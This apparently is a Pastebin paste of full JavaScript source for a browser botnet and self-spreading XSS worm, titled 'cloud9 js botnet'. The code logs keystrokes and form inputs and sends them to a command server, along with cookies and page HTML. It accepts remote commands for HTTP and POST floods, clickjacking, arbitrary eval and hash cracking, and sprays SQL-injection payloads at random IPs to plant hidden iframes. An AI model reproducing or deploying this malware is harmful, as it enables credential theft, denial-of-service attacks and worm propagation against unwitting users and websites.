API tools faq
paste
KekSec

XSS worm via SQL injection (priv8 backup) (cloud9 js botnet)

KekSec
Oct 13th, 2017
1,040
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.05 KB | None | 0 0
raw download clone embed print report
  1. var master = "http://example.com";
  2.  
  3. var connectKey = "noneyabusiness";
  4.  
  5. var timeout = 20500;
  6.  
  7. //OS detection
  8. var OSName="Unknown OS";
  9.  
  10. if (navigator.appVersion.indexOf("Win")!=-1)
  11. OSName="Windows";
  12. if (navigator.appVersion.indexOf("Mac")!=-1)
  13. OSName="MacOS";
  14. if (navigator.appVersion.indexOf("X11")!=-1)
  15. OSName="UNIX";
  16. if (navigator.appVersion.indexOf("Linux")!=-1)
  17. OSName="Linux";
  18.  
  19.  
  20.  
  21. //Browser detection
  22. var isOpera = !!window.opera || navigator.userAgent.indexOf(' OPR/') >= 0;
  23. var isFirefox = typeof InstallTrigger !== 'undefined';
  24. var isSafari = Object.prototype.toString.call(window.HTMLElement).indexOf('Constructor') > 0;
  25. var isIE = /*@cc_on!@*/ false || !!document.documentMode;
  26. var isEdge = !isIE && !!window.StyleMedia;
  27. var isChrome = !!window.chrome && !!window.chrome.webstore;
  28. var isBlink = (isChrome || isOpera) && !!window.CSS;
  29. var browserType = "Generic";
  30.  
  31. if (isOpera) {
  32. browserType = "Opera";
  33. } else if (isFirefox) {
  34. browserType = "Firefox";
  35. } else if (isSafari) {
  36. browserType = "Safari";
  37. } else if (isIE) {
  38. browserType = "Internet Explorer";
  39. } else if (isEdge) {
  40. browserType = "Microsoft Edge";
  41. } else if (isChrome) {
  42. browserType = "Chrome";
  43. } else if (isBlink) {
  44. browserType = "Blink";
  45. }
  46.  
  47. if(typeof(document.body) !== 'object') {
  48. document.createElement('body');
  49. }
  50.  
  51. var inputs, index;
  52. var inputList = "";
  53.  
  54. inputs = document.getElementsByTagName('input');
  55. for (index = 0; index < inputs.length; ++index) {
  56. inputList = inputList + "\r\n" + inputs[index].getAttribute("name") + "=" + inputs[index].getAttribute("value");
  57. }
  58.  
  59. var keys = "";
  60.  
  61. function interpret(evt) {
  62. var chara = "";
  63. var keyCode = (evt.which) ? evt.which : evt.keyCode;
  64. var shift = evt.shiftKey;
  65. if (keyCode == 8)
  66. chara = "[backspace]";
  67. // backspace
  68. if (keyCode == 9)
  69. chara = "[tab]";
  70. // tab
  71. if (keyCode == 13)
  72. chara = "[enter]";
  73. // enter
  74. if (keyCode == 16)
  75. chara = "[shift]";
  76. // shift
  77. if (keyCode == 17)
  78. chara = "[ctrl]";
  79. // ctrl
  80. if (keyCode == 18)
  81. chara = "[alt]";
  82. // alt
  83. if (keyCode == 19)
  84. chara = "[pause/break]";
  85. // pause/break
  86. if (keyCode == 20)
  87. chara = "[caps lock]";
  88. // caps lock
  89. if (keyCode == 27)
  90. chara = "[escape]";
  91. // escape
  92. if (keyCode == 33)
  93. chara = "[page up]";
  94. // page up
  95. if (keyCode == 34)
  96. chara = "[page down]";
  97. // page down
  98. if (keyCode == 35)
  99. chara = "[end]";
  100. // end
  101. if (keyCode == 36)
  102. chara = "[home]";
  103. // home
  104. if (keyCode == 37)
  105. chara = "[left arrow]";
  106. // left arrow
  107. if (keyCode == 38)
  108. chara = "[up arrow]";
  109. // up arrow
  110. if (keyCode == 39)
  111. chara = "[right arrow]";
  112. // right arrow
  113. if (keyCode == 40)
  114. chara = "[down arrow]";
  115. // down arrow
  116. if (keyCode == 45)
  117. chara = "[insert]";
  118. // insert
  119. if (keyCode == 46)
  120. chara = "[delete]";
  121. // delete
  122. // Alphanumeric
  123. if (keyCode == 48)
  124. chara = (shift) ? ")" : "0";
  125. if (keyCode == 49)
  126. chara = (shift) ? "!" : "1";
  127. if (keyCode == 50)
  128. chara = (shift) ? "@" : "2";
  129. if (keyCode == 51)
  130. chara = (shift) ? "#" : "3";
  131. if (keyCode == 52)
  132. chara = (shift) ? "$" : "4";
  133. if (keyCode == 53)
  134. chara = (shift) ? "%" : "5";
  135. if (keyCode == 54)
  136. chara = (shift) ? "^" : "6";
  137. if (keyCode == 55)
  138. chara = (shift) ? "&" : "7";
  139. if (keyCode == 56)
  140. chara = (shift) ? "*" : "8";
  141. if (keyCode == 57)
  142. chara = (shift) ? "(" : "9";
  143. if (keyCode == 190)
  144. chara = (shift) ? ">" : ".";
  145. if (keyCode == 188)
  146. chara = (shift) ? "<" : ",";
  147. if (keyCode == 219)
  148. chara = (shift) ? "{" : "[";
  149. // open bracket
  150. if (keyCode == 220)
  151. chara = "\\";
  152. // back slash
  153. if (keyCode == 221)
  154. chara = (shift) ? "}" : "]";
  155. // close bracket
  156. if (keyCode == 222)
  157. chara = "'";
  158. // single quote
  159. if(chara) {
  160. currkey = chara;
  161. } else {
  162. currkey = String.fromCharCode(evt.charCode);
  163. }
  164. if(currkey == "\0") {
  165. return true;
  166. }
  167. return currkey;
  168. }
  169.  
  170.  
  171. document.onkeypress = function(evt) {
  172. evt = evt || window.event;
  173. keys += interpret(evt);
  174. };
  175.  
  176.  
  177. var meta = document.createElement('meta');
  178. meta.name = "referrer";
  179. meta.content = "no-referrer";
  180. document.getElementsByTagName('head')[0].appendChild(meta); //hide referer
  181.  
  182.  
  183. function md5cycle(x, k) {
  184. var a = x[0],
  185. b = x[1],
  186. c = x[2],
  187. d = x[3];
  188.  
  189. a = ff(a, b, c, d, k[0], 7, -680876936);
  190. d = ff(d, a, b, c, k[1], 12, -389564586);
  191. c = ff(c, d, a, b, k[2], 17, 606105819);
  192. b = ff(b, c, d, a, k[3], 22, -1044525330);
  193. a = ff(a, b, c, d, k[4], 7, -176418897);
  194. d = ff(d, a, b, c, k[5], 12, 1200080426);
  195. c = ff(c, d, a, b, k[6], 17, -1473231341);
  196. b = ff(b, c, d, a, k[7], 22, -45705983);
  197. a = ff(a, b, c, d, k[8], 7, 1770035416);
  198. d = ff(d, a, b, c, k[9], 12, -1958414417);
  199. c = ff(c, d, a, b, k[10], 17, -42063);
  200. b = ff(b, c, d, a, k[11], 22, -1990404162);
  201. a = ff(a, b, c, d, k[12], 7, 1804603682);
  202. d = ff(d, a, b, c, k[13], 12, -40341101);
  203. c = ff(c, d, a, b, k[14], 17, -1502002290);
  204. b = ff(b, c, d, a, k[15], 22, 1236535329);
  205.  
  206. a = gg(a, b, c, d, k[1], 5, -165796510);
  207. d = gg(d, a, b, c, k[6], 9, -1069501632);
  208. c = gg(c, d, a, b, k[11], 14, 643717713);
  209. b = gg(b, c, d, a, k[0], 20, -373897302);
  210. a = gg(a, b, c, d, k[5], 5, -701558691);
  211. d = gg(d, a, b, c, k[10], 9, 38016083);
  212. c = gg(c, d, a, b, k[15], 14, -660478335);
  213. b = gg(b, c, d, a, k[4], 20, -405537848);
  214. a = gg(a, b, c, d, k[9], 5, 568446438);
  215. d = gg(d, a, b, c, k[14], 9, -1019803690);
  216. c = gg(c, d, a, b, k[3], 14, -187363961);
  217. b = gg(b, c, d, a, k[8], 20, 1163531501);
  218. a = gg(a, b, c, d, k[13], 5, -1444681467);
  219. d = gg(d, a, b, c, k[2], 9, -51403784);
  220. c = gg(c, d, a, b, k[7], 14, 1735328473);
  221. b = gg(b, c, d, a, k[12], 20, -1926607734);
  222.  
  223. a = hh(a, b, c, d, k[5], 4, -378558);
  224. d = hh(d, a, b, c, k[8], 11, -2022574463);
  225. c = hh(c, d, a, b, k[11], 16, 1839030562);
  226. b = hh(b, c, d, a, k[14], 23, -35309556);
  227. a = hh(a, b, c, d, k[1], 4, -1530992060);
  228. d = hh(d, a, b, c, k[4], 11, 1272893353);
  229. c = hh(c, d, a, b, k[7], 16, -155497632);
  230. b = hh(b, c, d, a, k[10], 23, -1094730640);
  231. a = hh(a, b, c, d, k[13], 4, 681279174);
  232. d = hh(d, a, b, c, k[0], 11, -358537222);
  233. c = hh(c, d, a, b, k[3], 16, -722521979);
  234. b = hh(b, c, d, a, k[6], 23, 76029189);
  235. a = hh(a, b, c, d, k[9], 4, -640364487);
  236. d = hh(d, a, b, c, k[12], 11, -421815835);
  237. c = hh(c, d, a, b, k[15], 16, 530742520);
  238. b = hh(b, c, d, a, k[2], 23, -995338651);
  239.  
  240. a = ii(a, b, c, d, k[0], 6, -198630844);
  241. d = ii(d, a, b, c, k[7], 10, 1126891415);
  242. c = ii(c, d, a, b, k[14], 15, -1416354905);
  243. b = ii(b, c, d, a, k[5], 21, -57434055);
  244. a = ii(a, b, c, d, k[12], 6, 1700485571);
  245. d = ii(d, a, b, c, k[3], 10, -1894986606);
  246. c = ii(c, d, a, b, k[10], 15, -1051523);
  247. b = ii(b, c, d, a, k[1], 21, -2054922799);
  248. a = ii(a, b, c, d, k[8], 6, 1873313359);
  249. d = ii(d, a, b, c, k[15], 10, -30611744);
  250. c = ii(c, d, a, b, k[6], 15, -1560198380);
  251. b = ii(b, c, d, a, k[13], 21, 1309151649);
  252. a = ii(a, b, c, d, k[4], 6, -145523070);
  253. d = ii(d, a, b, c, k[11], 10, -1120210379);
  254. c = ii(c, d, a, b, k[2], 15, 718787259);
  255. b = ii(b, c, d, a, k[9], 21, -343485551);
  256.  
  257. x[0] = add32(a, x[0]);
  258. x[1] = add32(b, x[1]);
  259. x[2] = add32(c, x[2]);
  260. x[3] = add32(d, x[3]);
  261.  
  262. }
  263.  
  264. function cmn(q, a, b, x, s, t) {
  265. a = add32(add32(a, q), add32(x, t));
  266. return add32((a << s) | (a >>> (32 - s)), b);
  267. }
  268.  
  269. function ff(a, b, c, d, x, s, t) {
  270. return cmn((b & c) | ((~b) & d), a, b, x, s, t);
  271. }
  272.  
  273. function gg(a, b, c, d, x, s, t) {
  274. return cmn((b & d) | (c & (~d)), a, b, x, s, t);
  275. }
  276.  
  277. function hh(a, b, c, d, x, s, t) {
  278. return cmn(b ^ c ^ d, a, b, x, s, t);
  279. }
  280.  
  281. function ii(a, b, c, d, x, s, t) {
  282. return cmn(c ^ (b | (~d)), a, b, x, s, t);
  283. }
  284.  
  285. function md51(s) {
  286. txt = '';
  287. var n = s.length,
  288. state = [1732584193, -271733879, -1732584194, 271733878],
  289. i;
  290. for (i = 64; i <= s.length; i += 64) {
  291. md5cycle(state, md5blk(s.substring(i - 64, i)));
  292. }
  293. s = s.substring(i - 64);
  294. var tail = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];
  295. for (i = 0; i < s.length; i++)
  296. tail[i >> 2] |= s.charCodeAt(i) << ((i % 4) << 3);
  297. tail[i >> 2] |= 0x80 << ((i % 4) << 3);
  298. if (i > 55) {
  299. md5cycle(state, tail);
  300. for (i = 0; i < 16; i++) tail[i] = 0;
  301. }
  302. tail[14] = n * 8;
  303. md5cycle(state, tail);
  304. return state;
  305. }
  306.  
  307. /* there needs to be support for Unicode here,
  308. * unless we pretend that we can redefine the MD-5
  309. * algorithm for multi-byte characters (perhaps
  310. * by adding every four 16-bit characters and
  311. * shortening the sum to 32 bits). Otherwise
  312. * I suggest performing MD-5 as if every character
  313. * was two bytes--e.g., 0040 0025 = @%--but then
  314. * how will an ordinary MD-5 sum be matched?
  315. * There is no way to standardize text to something
  316. * like UTF-8 before transformation; speed cost is
  317. * utterly prohibitive. The JavaScript standard
  318. * itself needs to look at this: it should start
  319. * providing access to strings as preformed UTF-8
  320. * 8-bit unsigned value arrays.
  321. */
  322. function md5blk(s) { /* I figured global was faster. */
  323. var md5blks = [],
  324. i; /* Andy King said do it this way. */
  325. for (i = 0; i < 64; i += 4) {
  326. md5blks[i >> 2] = s.charCodeAt(i) +
  327. (s.charCodeAt(i + 1) << 8) +
  328. (s.charCodeAt(i + 2) << 16) +
  329. (s.charCodeAt(i + 3) << 24);
  330. }
  331. return md5blks;
  332. }
  333.  
  334. var hex_chr = '0123456789abcdef'.split('');
  335.  
  336. function rhex(n) {
  337. var s = '',
  338. j = 0;
  339. for (; j < 4; j++)
  340. s += hex_chr[(n >> (j * 8 + 4)) & 0x0F] +
  341. hex_chr[(n >> (j * 8)) & 0x0F];
  342. return s;
  343. }
  344.  
  345. function hex(x) {
  346. for (var i = 0; i < x.length; i++)
  347. x[i] = rhex(x[i]);
  348. return x.join('');
  349. }
  350.  
  351. function md5(s) {
  352. return hex(md51(s));
  353. }
  354.  
  355. /* this function is much faster,
  356. so if possible we use it. Some IEs
  357. are the only ones I know of that
  358. need the idiotic second function,
  359. generated by an if clause. */
  360.  
  361. function add32(a, b) {
  362. return (a + b) & 0xFFFFFFFF;
  363. }
  364.  
  365. if (md5('hello') != '5d41402abc4b2a76b9719d911017c592') {
  366. function add32(x, y) {
  367. var lsw = (x & 0xFFFF) + (y & 0xFFFF),
  368. msw = (x >> 16) + (y >> 16) + (lsw >> 16);
  369. return (msw << 16) | (lsw & 0xFFFF);
  370. }
  371. }
  372.  
  373.  
  374.  
  375. function sha1(str) {
  376. // discuss at: http://phpjs.org/functions/sha1/
  377. // original by: Webtoolkit.info (http://www.webtoolkit.info/)
  378. // improved by: Michael White (http://getsprink.com)
  379. // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
  380. // input by: Brett Zamir (http://brett-zamir.me)
  381. // depends on: utf8_encode
  382. // example 1: sha1('Kevin van Zonneveld');
  383. // returns 1: '54916d2e62f65b3afa6e192e6a601cdbe5cb5897'
  384.  
  385. var rotate_left = function(n, s) {
  386. var t4 = (n << s) | (n >>> (32 - s));
  387. return t4;
  388. };
  389.  
  390. /*var lsb_hex = function (val) { // Not in use; needed?
  391. var str="";
  392. var i;
  393. var vh;
  394. var vl;
  395.  
  396. for ( i=0; i<=6; i+=2 ) {
  397. vh = (val>>>(i*4+4))&0x0f;
  398. vl = (val>>>(i*4))&0x0f;
  399. str += vh.toString(16) + vl.toString(16);
  400. }
  401. return str;
  402. };*/
  403.  
  404. var cvt_hex = function(val) {
  405. var str = '';
  406. var i;
  407. var v;
  408.  
  409. for (i = 7; i >= 0; i--) {
  410. v = (val >>> (i * 4)) & 0x0f;
  411. str += v.toString(16);
  412. }
  413. return str;
  414. };
  415.  
  416. var blockstart;
  417. var i, j;
  418. var W = new Array(80);
  419. var H0 = 0x67452301;
  420. var H1 = 0xEFCDAB89;
  421. var H2 = 0x98BADCFE;
  422. var H3 = 0x10325476;
  423. var H4 = 0xC3D2E1F0;
  424. var A, B, C, D, E;
  425. var temp;
  426.  
  427. str = this.utf8_encode(str);
  428. var str_len = str.length;
  429.  
  430. var word_array = [];
  431. for (i = 0; i < str_len - 3; i += 4) {
  432. j = str.charCodeAt(i) << 24 | str.charCodeAt(i + 1) << 16 | str.charCodeAt(i + 2) << 8 | str.charCodeAt(i + 3);
  433. word_array.push(j);
  434. }
  435.  
  436. switch (str_len % 4) {
  437. case 0:
  438. i = 0x080000000;
  439. break;
  440. case 1:
  441. i = str.charCodeAt(str_len - 1) << 24 | 0x0800000;
  442. break;
  443. case 2:
  444. i = str.charCodeAt(str_len - 2) << 24 | str.charCodeAt(str_len - 1) << 16 | 0x08000;
  445. break;
  446. case 3:
  447. i = str.charCodeAt(str_len - 3) << 24 | str.charCodeAt(str_len - 2) << 16 | str.charCodeAt(str_len - 1) <<
  448. 8 | 0x80;
  449. break;
  450. }
  451.  
  452. word_array.push(i);
  453.  
  454. while ((word_array.length % 16) != 14) {
  455. word_array.push(0);
  456. }
  457.  
  458. word_array.push(str_len >>> 29);
  459. word_array.push((str_len << 3) & 0x0ffffffff);
  460.  
  461. for (blockstart = 0; blockstart < word_array.length; blockstart += 16) {
  462. for (i = 0; i < 16; i++) {
  463. W[i] = word_array[blockstart + i];
  464. }
  465. for (i = 16; i <= 79; i++) {
  466. W[i] = rotate_left(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
  467. }
  468.  
  469. A = H0;
  470. B = H1;
  471. C = H2;
  472. D = H3;
  473. E = H4;
  474.  
  475. for (i = 0; i <= 19; i++) {
  476. temp = (rotate_left(A, 5) + ((B & C) | (~B & D)) + E + W[i] + 0x5A827999) & 0x0ffffffff;
  477. E = D;
  478. D = C;
  479. C = rotate_left(B, 30);
  480. B = A;
  481. A = temp;
  482. }
  483.  
  484. for (i = 20; i <= 39; i++) {
  485. temp = (rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0x6ED9EBA1) & 0x0ffffffff;
  486. E = D;
  487. D = C;
  488. C = rotate_left(B, 30);
  489. B = A;
  490. A = temp;
  491. }
  492.  
  493. for (i = 40; i <= 59; i++) {
  494. temp = (rotate_left(A, 5) + ((B & C) | (B & D) | (C & D)) + E + W[i] + 0x8F1BBCDC) & 0x0ffffffff;
  495. E = D;
  496. D = C;
  497. C = rotate_left(B, 30);
  498. B = A;
  499. A = temp;
  500. }
  501.  
  502. for (i = 60; i <= 79; i++) {
  503. temp = (rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0xCA62C1D6) & 0x0ffffffff;
  504. E = D;
  505. D = C;
  506. C = rotate_left(B, 30);
  507. B = A;
  508. A = temp;
  509. }
  510.  
  511. H0 = (H0 + A) & 0x0ffffffff;
  512. H1 = (H1 + B) & 0x0ffffffff;
  513. H2 = (H2 + C) & 0x0ffffffff;
  514. H3 = (H3 + D) & 0x0ffffffff;
  515. H4 = (H4 + E) & 0x0ffffffff;
  516. }
  517.  
  518. temp = cvt_hex(H0) + cvt_hex(H1) + cvt_hex(H2) + cvt_hex(H3) + cvt_hex(H4);
  519. return temp.toLowerCase();
  520. }
  521.  
  522.  
  523.  
  524. function makestr(length, alpha) {
  525. var text = "";
  526.  
  527. for (var i = 0; i < length; i++)
  528. text += alpha.charAt(Math.floor(Math.random() * alpha.length));
  529.  
  530. return text;
  531. }
  532.  
  533. function glypettk(glype, args) {
  534. var i = Math.floor(Math.random() * glype.length);
  535. prepareFrame(glype[i] + encodeURIComponent(args[1]) + "&" + Math.floor(Math.random() * 100000000) + "=Freak");
  536. }
  537. function imageLoad(URL) {
  538. var pic = new Image();
  539. pic.src = URL; //randomize request to avoid caching
  540. }
  541.  
  542. function prepareFrame(URL) {
  543. var ifrm = document.createElement("iframe");
  544. ifrm.src = URL;
  545. ifrm.style.width = "0px";
  546. ifrm.style.height = "0px";
  547. ifrm.style.border = "None";
  548. ifrm.style.visibility = "hidden";
  549. document.getElementsByTagName("body")[0].appendChild(ifrm);
  550. }
  551.  
  552. function wait(ms) {
  553. var start = new Date().getTime();
  554. var end = start;
  555. while (end < start + ms) {
  556. end = new Date().getTime();
  557. }
  558. }
  559.  
  560. function post(url, params) {
  561. if (window.XMLHttpRequest) {
  562. http = new XMLHttpRequest();
  563. } else {
  564. http = new ActiveXObject("Microsoft.XMLHTTP");
  565. }
  566.  
  567. http.open("POST", url);
  568.  
  569. //Send the proper header information along with the request
  570. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  571. http.send(params);
  572. }
  573.  
  574. function randIP() {
  575. return (Math.floor(Math.random() * 254) + 1) + "." + Math.floor(Math.random() * 255) + "." + Math.floor(Math.random() * 255) + "." + Math.floor(Math.random() * 255);
  576. }
  577.  
  578. function String2Hex(tmp) {
  579. var str = '';
  580. for(var i = 0; i < tmp.length; i++) {
  581. str += tmp[i].charCodeAt(0).toString(16);
  582. }
  583. return str;
  584. }
  585.  
  586. function SQLiScan() {
  587. var img = document.createElement("img");
  588. var ids = ["id", "uid", "pageid", "newsid"];
  589. var pages = ["index.php", "user.php", "news.php", "about.php", "go.php"];
  590. var XSSstatement = "0x" + String2Hex("\"><iframe src=\"" + master + "/\" style=\"visibility:hidden\" width=\"1px\" top=\"1px\"></iframe>");
  591. var targIP = randIP();
  592. var URLS = [];
  593. for(var page of pages) {
  594. for(var id of ids) {
  595. SQLiStatement = "'; DECLARE @TABLENAME VARCHAR(50); EXEC('INSERT INTO @TABLENAME VALUES(" + parseInt(Math.floor(Math.random() * 9999)) + ", " + XSSstatement + ", " + XSSstatement + ", " + XSSstatement + ", " + parseInt(Math.floor(Math.random() * 9999)) + ")');/*";
  596. URLS.push("http://" + targIP + "/" + page + "?" + id + "=" + parseInt(Math.floor(Math.random() * 9999)) + encodeURIComponent(SQLiStatement));
  597. }
  598. }
  599. var imgs = URLS.map(function(URL) {
  600. img.setAttribute("onload", "var img_=new Image();img_.src='" + master + "/portopen.php?referer=" + document.domain + "&ip=" + encodeURIComponent(URL) + "&rand=" + Math.floor(Math.random() * 100000000) + "';img_.setAttribute('style','visibility:hidden');document.body.appendChild(img_);");
  601. img.setAttribute("style", "visibility:hidden");
  602. img.src = URL;
  603. document.body.appendChild(img);
  604. });
  605. }
  606.  
  607. function Parse(data) {
  608. var command = data;
  609. var command = command.split("\n");
  610.  
  611. var i = 0;
  612.  
  613. for (i = 0; i < command.length; i++) {
  614. if (command[i].substring(0, 6) == "cookie") {
  615.  
  616. if (document.cookie != undefined && document.cookie != "") {
  617. var rand = Math.floor(Math.random() * 10000);
  618. imageLoad(master + "/cookie.php?c=" + encodeURI(document.cookie) + "&referer=" + document.location + "&rand=" + rand);
  619. }
  620.  
  621. } else if (command[i].substring(0, 7) == "gethtml") {
  622.  
  623. imageLoad(master + "/gethtml.php?referer=" + document.domain + "&html=" + encodeURIComponent(document.documentElement.outerHTML) + "&rand=" + Math.floor(Math.random() * 10000));
  624.  
  625. } else if (command[i].substring(0, 5) == "sleep") {
  626.  
  627. var args = command[i].split("*");
  628. wait(parseInt(args[1]));
  629.  
  630. } else if (command[i].substring(0, 4) == "view") {
  631.  
  632. var args = command[i].split("*");
  633. prepareFrame(args[1]); //view website
  634.  
  635. } else if (command[i].substring(0, 8) == "popunder") {
  636.  
  637. var args = command[i].split("*");
  638. underPop = window.open(args[1],'Window','toolbar=1,location=1,directories=1,status=1,menubar=1,scrollbars=1,resizable=1');
  639. underPop.blur();
  640.  
  641. } else if (command[i].substring(0, 4) == "post") {
  642.  
  643. var args = command[i].split("*");
  644. post(args[1], args[2]);
  645.  
  646. } else if (command[i].substring(0, 9) == "floodpost") {
  647.  
  648. var args = command[i].split("*");
  649.  
  650. setInterval(function() {
  651. post(args[1], args[2]);
  652. }, parseInt(args[3])); //Initiate javascript POST load test
  653.  
  654. } else if (command[i].substring(0, 4) == "load") {
  655.  
  656. var args = command[i].split("*");
  657.  
  658. if (args[1].indexOf("?") > -1) {
  659. var char = "&";
  660. } else {
  661. var char = "?";
  662. }
  663.  
  664. setInterval(function() {
  665. imageLoad(args[1] + char + Math.floor(Math.random() * 100000000) + "=Freak");
  666. }, parseInt(args[2])); //Initiate javascript load test
  667.  
  668. } else if (command[i].substring(0, 8) == "antiddos") {
  669.  
  670. var args = command[i].split("*");
  671.  
  672. if (args[1].indexOf("?") > -1) {
  673. var char = "&";
  674. } else {
  675. var char = "?";
  676. }
  677.  
  678. setInterval(function() {
  679. prepareFrame(args[1] + char + Math.floor(Math.random() * 100000000) + "=Freak");
  680. }, parseInt(args[2])); //Initiate javascript load test
  681.  
  682. } else if (command[i].substring(0, 5) == "glype") {
  683. var args = command[i].split("*");
  684. var glypettk = "";
  685. var xmlhttp;
  686. if (window.XMLHttpRequest) {
  687. xmlhttp = new XMLHttpRequest();
  688. } else {
  689. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  690. }
  691. xmlhttp.open("GET", master + args[2], true);
  692. xmlhttp.send(null);
  693. xmlhttp.onreadystatechange = function() {
  694. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  695. var glype = xmlhttp.responseText.split("\n");
  696. setInterval(function(){glypettk(glype, args)}, parseInt(args[3])); //Initiate javascript load test
  697. }
  698. };
  699.  
  700. } else if (command[i].substring(0, 6) == "layer4") {
  701.  
  702. var args = command[i].split("*");
  703.  
  704. var packetsize = parseInt(args[2]);
  705. var location4byte = Math.floor(Math.random() * packetsize);
  706. var packet = encodeURI(randByte()) + "=" + encodeURI(randByte());
  707.  
  708. while(packetsize > packet.length) {
  709. packet = packet + "&" + encodeURI(randByte()) + "=" + encodeURI(randByte());
  710. if(packet.length >= location4byte) {
  711. packet = packet + encodeURI(randByte());
  712. }
  713. }
  714. setInterval(function() {
  715. post(args[1], packet);
  716. }, parseInt(args[3])); //Initiate javascript POST load test
  717.  
  718. } else if (command[i].substring(0, 4) == "jack") {
  719.  
  720. var args = command[i].split("*");
  721.  
  722. var iframe = '<iframe id="iframey" src="' + args[1] + '" width="' + args[2] + 'px" height="' + args[3] + 'px" frameBorder="0" style="position:absolute; filter:alpha(opacity=0); opacity:0.0; border: None left:0; top:0;"></iframe>';
  723.  
  724. var div = document.createElement("div");
  725. div.innerHTML = css + iframe;
  726.  
  727. document.getElementsByTagName("body")[0].appendChild(div);
  728.  
  729. var frameName = 'iframey'; // div that is to follow the mouse (must be position:absolute)
  730. var offX = -35; // X offset from mouse position
  731. var offY = -20; // Y offset from mouse position
  732.  
  733. function mouseX(evt) {
  734. if (!evt) evt = window.event;
  735. if (evt.pageX) return evt.pageX;
  736. else if (evt.clientX) return evt.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
  737. else return 0;
  738. }
  739.  
  740. function mouseY(evt) {
  741. if (!evt) evt = window.event;
  742. if (evt.pageY) return evt.pageY;
  743. else if (evt.clientY) return evt.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
  744. else return 0;
  745. }
  746.  
  747. function follow(evt) {
  748. var obj = document.getElementById(frameName).style;
  749. obj.left = (parseInt(mouseX(evt)) + offX) + 'px';
  750. obj.top = (parseInt(mouseY(evt)) + offY) + 'px';
  751. }
  752. document.onmousemove = follow;
  753.  
  754. } else if (command[i].substring(0, 4) == "eval") {
  755.  
  756. var args = command[i].split("*");
  757. eval(args[1]);
  758.  
  759. } else if (command[i].substring(0, 3) == "md5") {
  760.  
  761. var args = command[i].split("*");
  762. var crack = setInterval(function() {
  763. var test = makestr(parseInt(args[2]), args[3]);
  764. if (md5(test) == args[1]) {
  765. imageLoad(master + "/hash.php?result=" + encodeURI("MD5 - " + test + ":" + args[1]));
  766. clearInterval(crack);
  767. }
  768. }, 0);
  769.  
  770. } else if (command[i].substring(0, 4) == "sha1") {
  771.  
  772. var args = command[i].split("*");
  773. var crack = setInterval(function() {
  774. var test = makestr(parseInt(args[2]), args[3]);
  775. if (sha1(test) == args[1]) {
  776. imageLoad(master + "/hash.php?result=" + encodeURI("SHA1 - " + test + ":" + args[1]));
  777. clearInterval(crack);
  778. }
  779. }, 0);
  780.  
  781. } else if (command[i].substring(0, 4) == "scan") {
  782.  
  783. var args = command[i].split("*");
  784. setInterval(SQLiScan, 250);
  785.  
  786. }
  787. }
  788. }
  789.  
  790. function pingHome() {
  791. var xmlhttp;
  792.  
  793. if (window.XMLHttpRequest) {
  794. xmlhttp = new XMLHttpRequest();
  795. } else {
  796. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  797. }
  798.  
  799. var rand = Math.floor(Math.random() * 10000);
  800.  
  801. xmlhttp.open("GET", master + "/gate.php?gettasks=" + encodeURIComponent(connectKey) + "&browsertype=" + encodeURI(browserType) + "&osname=" + encodeURI(OSName) +
  802. "&rand=" + rand, true);
  803. xmlhttp.send(null);
  804.  
  805. xmlhttp.onreadystatechange = function() {
  806. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  807. Parse(xmlhttp.responseText);
  808. }
  809. };
  810. }
  811.  
  812. window.onpopstate = window.onbeforeunload = function(event) {
  813. if (keys.length >= 1) {
  814. var param = encodeURI(keys);
  815. var rand = Math.floor(Math.random() * 10000);
  816. imageLoad(master + "/logger.php?keys=" + encodeURI(param) + "&referer=" + encodeURI(document.location) + "&rand=" + rand); //randomize request to avoid
  817. caching
  818. }
  819.  
  820. if (inputList != "") {
  821. imageLoad(master + "/inputs.php?inputs=" + encodeURI(inputList) + "&referer=" + encodeURI(document.location));
  822. }
  823.  
  824. var rand = Math.floor(Math.random() * 10000);
  825. imageLoad(master + "/gate.php?disconnect=" + encodeURIComponent(connectKey) + "&browsertype=" + encodeURI(browserType) + "&osname=" + encodeURI(OSName) + "&rand=" +
  826. rand);
  827. };
  828.  
  829. var rand = Math.floor(Math.random() * 10000);
  830. imageLoad(master + "/gate.php?connect=" + encodeURIComponent(connectKey) + "&browsertype=" + encodeURI(browserType) + "&osname=" + encodeURI(OSName) + "&rand=" + rand);
  831. pingHome();
  832. if (typeof(Notification)) {
  833. setInterval(function(){
  834. Notification.requestPermission();
  835. var notif = new Notification('', master, data = function(){pingHome()});
  836. notif.onclick = notif.onmouseover = function(){setTimeout(function(){}, 3600 * 1000 * 24)};
  837. }, timeout);
  838. } else {
  839. setInterval(pingHome, timeout);
  840. }
Advertisement
Comments
  • User was banned
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!